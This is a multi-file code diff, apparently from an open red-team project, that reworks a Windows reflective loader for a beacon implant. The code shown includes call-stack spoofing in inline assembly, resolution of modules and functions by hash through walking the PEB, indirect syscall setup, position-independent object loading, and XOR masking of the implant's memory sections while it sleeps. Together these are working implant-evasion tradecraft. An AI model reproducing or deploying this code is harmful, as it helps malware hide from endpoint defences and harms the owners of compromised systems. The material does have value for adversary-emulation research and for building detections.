"push qword ptr [r10];"
"pop qword ptr [r15];"
// Increment the counter and loop back in case we need more args
// Increment the counter and loop back in case we need more args
"add r11, 1;"
"jmp looping;"
"finish:;"
@@ -74,7 +94,7 @@ void * __attribute__((naked)) SpoofStub()
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
// For indirect syscall use. If you want to use it, make sure to set ssn
// For indirect syscall use. If you want to use it, make sure to set ssn
// in param struct first.Otherwise, this is ignored by the callee.
"mov r10, rcx;"
"mov rax, [rdi + 72];"
@@ -96,7 +116,7 @@ void * __attribute__((naked)) SpoofStub()
"xor rax, rax;"
"pop rax;"
"jmp qword ptr [rcx + 8];"
".att_syntax prefix"
);
}
+28
View File
@@ -1,3 +1,31 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct _DRAUGR_PARAMETERS {
-108
View File
@@ -1,108 +0,0 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Walk the Export Address Table to resolve functions by hash
*/
char * findModuleByHash(DWORD moduleHash) {
_PEB * pPEB;
LDR_DATA_TABLE_ENTRY * pEntry;
char * name;
DWORD hashValue;
USHORT counter;
/* get the Process Enviroment Block */
#if defined WIN_X64
pPEB = (_PEB *)__readgsqword( 0x60 );
#elif defined WIN_X86
pPEB = (_PEB *)__readfsdword( 0x30 );
#else
#error "Neither WIN_X64 or WIN_X86 is defined"
#endif
/* walk the module list */
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
while (pEntry) {
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
We are walking and hashing this string, one byte at a time */
name = (char *)pEntry->BaseDllName.pBuffer;
counter = pEntry->BaseDllName.Length;
/* calculate the hash of our DLL name */
hashValue = 0;
do {
hashValue = ror(hashValue);
if (*name >= 'a')
hashValue += (BYTE)*name - 0x20;
else
hashValue += (BYTE)*name;
name++;
} while (--counter);
/* if we have a match, return it */
if (hashValue == moduleHash)
return pEntry->DllBase;
/* next entry */
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
}
return NULL;
}
void * findFunctionByHash(char * src, DWORD wantedFunction) {
DLLDATA data;
IMAGE_DATA_DIRECTORY * exportTableHdr;
IMAGE_EXPORT_DIRECTORY * exportDir;
DWORD * exportName;
WORD * exportOrdinal;
DWORD * exportAddress;
DWORD hashValue;
/* parse our DLL! */
ParseDLL(src, &data);
/* grab our export directory */
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
/* walk the array of exported names/address ordinals */
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
while (TRUE) {
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
if (hashValue == wantedFunction) {
/* figure out the base of our AddressOfFunctions array */
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
/* increment it by the current value of our exportOrdinal array */
exportAddress += *exportOrdinal;
/* and... there-in is our virtual address to the actual ptr we want */
return PTR_OFFSET(src, *exportAddress);
}
exportName++;
exportOrdinal++;
}
}
+87
View File
@@ -0,0 +1,87 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
void * findFunctionByHash(char * src, DWORD wantedFunction);
char * findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+41
View File
@@ -0,0 +1,41 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct {
ULONG_PTR functionPtr;
ULONG_PTR argument1;
ULONG_PTR argument2;
ULONG_PTR argument3;
ULONG_PTR argument4;
ULONG_PTR argument5;
ULONG_PTR argument6;
} NTARGS;
VOID ProxyNtApi(NTARGS * args);
-18
View File
@@ -1,18 +0,0 @@
#include <windows.h>
int _strncmp(const char* s1, const char* s2, SIZE_T n)
{
while (n-- > 0)
{
unsigned char c1 = (unsigned char)*s1++;
unsigned char c2 = (unsigned char)*s2++;
if (c1 != c2)
return c1 - c2;
if (c1 == '\0')
break;
}
return 0;
}
+1 -1
View File
@@ -4,7 +4,7 @@ author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +gofirst
make pic +gofirst +optimize
dfr "resolve" "ror13"
mergelib "../libtcg.x64.zip"
mergelib "../libtp.x64.zip"
+71 -62
View File
@@ -1,20 +1,29 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* This file is part of Tradecraft Garden
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
@@ -31,7 +40,7 @@ void * g_ExitThread;
char xorkey[128] = { 1 };
/* some globals */
MEMORY_LAYOUT g_layout;
MEMORY_LAYOUT g_layout;
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
@@ -597,6 +606,55 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
return (BOOL)draugr(&call);
}
void applyxor(char * data, DWORD len)
{
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
BOOL isWriteable(DWORD protection)
{
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
return TRUE;
}
return FALSE;
}
void xorsection(MEMORY_SECTION * section, BOOL mask)
{
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
DWORD oldProtect = 0;
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
section->currentProtect = PAGE_READWRITE;
section->previousProtect = oldProtect;
}
}
if (isWriteable(section->currentProtect)) {
applyxor(section->baseAddress, section->size);
}
if (mask == FALSE && section->currentProtect != section->previousProtect) {
DWORD oldProtect;
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
section->currentProtect = section->previousProtect;
section->previousProtect = oldProtect;
}
}
}
void xorregion(MEMORY_REGION * region, BOOL mask)
{
for (int i = 0; i < 5; i++) {
xorsection(&region->sections[i], mask);
}
}
void xormemory(BOOL mask) {
xorregion(&g_layout.dll, mask);
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
#if DEBUG
@@ -745,55 +803,6 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
return result;
}
void applyxor(char * data, DWORD len)
{
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
BOOL isWriteable(DWORD protection)
{
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
return TRUE;
}
return FALSE;
}
void xorsection(MEMORY_SECTION * section, BOOL mask)
{
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
DWORD oldProtect = 0;
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
section->currentProtect = PAGE_READWRITE;
section->previousProtect = oldProtect;
}
}
if (isWriteable(section->currentProtect)) {
applyxor(section->baseAddress, section->size);
}
if (mask == FALSE && section->currentProtect != section->previousProtect) {
DWORD oldProtect;
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
section->currentProtect = section->previousProtect;
section->previousProtect = oldProtect;
}
}
}
void xorregion(MEMORY_REGION * region, BOOL mask)
{
for (int i = 0; i < 5; i++) {
xorsection(&region->sections[i], mask);
}
}
void xormemory(BOOL mask) {
xorregion(&g_layout.beacon, mask);
}
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
-5
View File
@@ -115,11 +115,6 @@ typedef struct _DRAUGR_FUNCTION_CALL {
SYNTHETIC_STACK_FRAME g_stackFrame;
void applyxor(char * data, DWORD len);
void xorsection(MEMORY_SECTION * section, BOOL mask);
void xorregion(MEMORY_REGION * region, BOOL mask);
void xormemory(BOOL mask);
void initFrameInfo()
{
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
+11 -21
View File
@@ -67,16 +67,6 @@ typedef struct {
WIN32_FUNC(CreateProcessA);
} WIN32FUNCS;
typedef struct {
#if DEBUG
char data[8192];
char code[16384];
#else
char data[4096];
char code[16384];
#endif
} PICO;
char __DRAUGR__[0] __attribute__((section("draugr")));
char __HOOKS__[0] __attribute__((section("hooks")));
char __DLL__[0] __attribute__((section("dll")));
@@ -183,10 +173,11 @@ void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
/* Allocate memory for it */
hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
dprintf("HOOK DST: 0x%p\n", hookDst);
dprintf("data size %d\n", PicoDataSize(hookSrc));
dprintf("code size %d\n", PicoCodeSize(hookSrc));
#if DEBUG
dprintf("hookDst : 0x%p\n", hookDst);
dprintf("PicoDataSize : %d\n", PicoDataSize(hookSrc));
dprintf("PicoCodeSize : %d\n", PicoCodeSize(hookSrc));
#endif
/* Load it into memory */
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
@@ -225,11 +216,11 @@ void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
LoadDLL(&beaconData, beaconSrc, beaconDst);
ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst);
layout->beacon.baseAddress = beaconDst;
layout->beacon.size = SizeOfDLL(&beaconData);
layout->dll.baseAddress = beaconDst;
layout->dll.size = SizeOfDLL(&beaconData);
/* Fix section memory permissions */
fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->beacon);
fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->dll);
/* Call hook entry point again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)funcs, layout);
@@ -238,8 +229,8 @@ void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst);
/* Call it twice */
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL);
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL);
}
void go()
@@ -282,8 +273,7 @@ void go()
picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE);
#if DEBUG
PIC_STRING(dst, "PIC @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
dprintf("picDst : 0x%p\n", picDst);
#endif
/* Copy it into memory */
+10
View File
@@ -40,6 +40,16 @@ typedef struct {
char value[];
} RESOURCE;
typedef struct {
#if DEBUG
char data[8192];
char code[16384];
#else
char data[4096];
char code[12288];
#endif
} PICO;
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
+1 -1
View File
@@ -44,5 +44,5 @@ typedef struct {
typedef struct {
MEMORY_REGION pic;
MEMORY_REGION hooks;
MEMORY_REGION beacon;
MEMORY_REGION dll;
} MEMORY_LAYOUT;